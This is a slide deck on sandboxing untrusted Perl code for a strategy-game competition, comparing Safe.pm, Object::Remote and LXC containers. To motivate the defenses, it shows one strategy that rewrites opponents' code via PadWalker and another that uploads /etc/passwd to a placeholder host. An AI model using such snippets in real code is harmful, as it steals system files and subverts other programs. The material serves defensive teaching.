

Sandboxing Perl Code with Linux Containers

Achtung!

The following code examples does not include error checking

Bio

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- Twitter: @pmakhholm
- Perl developer since 1997
- Works as backend developer at Adapt
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Goal

- Programming competition
- “Simulating strategies for games”
- Classic case: Iterated Prisoners Dilemma

Goal

In general:
Running untrusted code
from the Internet

The Code

The code

```
my @player = map { load_player($_) } @ARGV;
```

```
my @moves = ([], []);
```

```
while ($rounds-- > 0) {
```

```
    my $p0 = $player[0]->( [@{ $moves[0] }], [@{ $moves[1] }] );
```

```
    my $p1 = $player[1]->( [@{ $moves[1] }], [@{ $moves[0] }] );
```

```
    push @{ $moves[0] }, !!$p0;
```

```
    push @{ $moves[1] }, !!$p1;
```

```
}
```

The code

```
sub load_player {  
    my $file = shift;  
  
    return do $file;  
}
```


A strategy

```
# Strategy: Tit for tat  
# This player starts by cooperating, and then follows the  
# opponents last move
```

```
sub {  
    my ($mine, $their) = @_;  
  
    return $their->[-1] // 1;  
}
```

Abuses

Cheating

```
# Strategy: Replace strategy
```

```
# This player tries to replace the opponents strategy
```

```
use PadWalker qw(peek_my peek_sub);
```

```
sub {
```

```
    my $MASTER;
```

```
    my $player = peek_my(1)->{'@player'};
```

```
    for (@$player) {
```

```
        $_ = defined(peek_sub($_)->{'$MASTER'}) ? sub { 0 } : sub { 1 }
```

```
    }
```

```
}
```

Attacking

```
# Strategy: Do something malicious
```

```
use HTTP::Request::Common;
my $done;
sub {
    LWP::UserAgent->new(
        POST 'http://xxx.xxx.xxx.xxx/',
        Content_Type => 'form-data',
        Content => [ passwd => ['/etc/passwd'] ]
    ) unless $done++;

    return 1;
}
```

Solutions

Safe.pm

- White and black list of Perl opcodes
- Prevents dynamic loading
- Very Perl specific

Safe.pm

```
sub load_player {  
    require Safe;  
  
    my $file = shift;  
    my $c    = Safe->new();  
  
    return $c->rdo($file) || die $@;  
}
```

Safe.pm

```
sub load_player {  
    require Safe;  
  
    my $file = shift;  
    my $c    = Safe->new();  
  
    $c->permit( qw(rand :load) );  
    return $c->rdo($file) || die $@;  
}
```


Safe.pm

- Prevents cheating
- Prevents attacking
- Can require some tweaks
- Tweaking can break security

Inline::Perl

- Embeds a Perl interpreter inside Perl
- Provides isolation between application code and embedded code

Inline::Perl

```
sub load_player {  
    <insert code>  
}
```

Inline::Perl

- Depends on bitrotten PerlInterp
- Multiple interpreters???
- Does not prevent attacks

Object::Remote

- Implements distributed objects
- Requires code to be wrapped as a object

Object::Remote

```
package Code::Proxy;

sub new {
    my ($class, $code) = @_;

    my $self = eval $code;
    bless $self, $class;
}

sub call {
    (shift)->(@_);
}
```

Object::Remote

```
sub load_player {  
    require Object::Remote;  
  
    my $file = shift;  
    my $conn = Object::Remote->connect('-');  
    my $code = Code::Proxy->new::on($conn, "do '$file'");  
  
    return sub { $code->call(@_) }  
}
```

Object::Remote

- Prevents cheating
- Does not prevent attacks
- Quite easy to understand

Object::Remote + container

- Write your own Object::Remote::Connector
- Run remote code inside container
- Container provides security against attacks
- Flexible choice of container technology

Object::Remote + container

```
package Object::Remote::Connector::Container;

use String::ShellQuote;
use Moo;

with 'Object::Remote::Role::Connector::PerlInterpreter';

push @Object::Remote::Connection::Guess, sub {
    if (($_[0]||'') =~ '!') {
        shift(@_);
        __PACKAGE__->new(@_);
    }
};
```

Object::Remote + container

```
sub final_perl_command {  
    my ($self) = @_;  
    my $perl_command = $self->perl_command;  
  
    return [  
        'run_in_container',  
        shell_quote(@$perl_command),  
    ];  
}
```

Object::Remote + container

```
sub load_player {  
    require Object::Remote;  
    require Object::Remote::Connection::Container;  
  
    my $file = shift;  
    my $conn = Object::Remote->connect('!');  
    my $code = Code::Proxy->new::on($conn, "do '$file'");  
  
    return sub { $code->call(@_) }  
}
```

Linux Containers (a.k.a. LXC)

Introducing LXC

- Operating system-level virtualization
- Shared kernel/separate user space
- Think chroot(8) on speed
- Can be used as unprivileged user
- <https://linuxcontainers.org/lxc/introduction/>

Introducing LXC

- Linux Namespaces:
 - Hostname
 - Inter-process communication (IPC)
 - Process tree (PIDs)
 - Mount points
 - Network access, including interfaces
 - Users (UIDs and GIDs)

Introducing LXC

- For unprivileged use:
Add subordinate user ids and group ids
 - /etc/subuid
 - /etc/subgid

A lightweight container

- Just a single (root) user
- Read-only installation
- No network access

A lightweight container

```
for dir in etc home root var dev dev/shm proc sys ; do
  mkdir $rootfs/$dir || return 1
done
```

```
cat <<EOF > $rootfs/etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nogroup:/root:/bin/bash
EOF
```

```
cat <<EOF > $rootfs/etc/group
root:x:0:root
nogroup:x:65534:nobody
EOF
```

A lightweight container

```
lxc.mount.entry = /lib lib lib bind,remount,ro,create=dir 0 0
lxc.mount.entry = /lib64 lib64 lib64 bind,remount,ro,create=dir 0 0
lxc.mount.entry = /bin bin bin bind,remount,ro,create=dir 0 0
lxc.mount.entry = /usr usr usr bind,remount,ro,create=dir 0 0
lxc.mount.entry = /sbin sbin sbin bind,remount,ro,create=dir 0 0
lxc.mount.entry = /tmp tmp tmpfs rw,create=dir 0 0
lxc.mount.auto = proc sys cgroup
```

```
lxc.include = /usr/share/lxc/config/common.conf
```

```
lxc.include = /usr/share/lxc/config/usersns.conf
```

```
lxc.network.type = empty
```

A lightweight container

- Set up a container:

```
lxc-create -n $name
```

```
-t $(pwd)/lxc-sandbox.template
```

```
-f $(pwd)/lxc-sandbox.conf
```

```
--dir $( mktemp -d -p $(pwd)/ lxc-XXXXXXXXXX
```

- Run a process in container

```
lxc-execute -n $name -q – bash
```

A lightweight container

- Create script to handle containers
 - Create new container
 - Run command in container
 - Destroy container

A lightweight container

- Full example at

<https://gist.github.com/pmakholm/1358682fbfb75374ff1>

SEE ALSO

- My slides:
https://hacking.dk/talks/yapceu2015/Perl_in_LXC.pdf
- Francisco Maseda's presentation:
Exploring Linux Namespaces and Perl
Friday at 11:30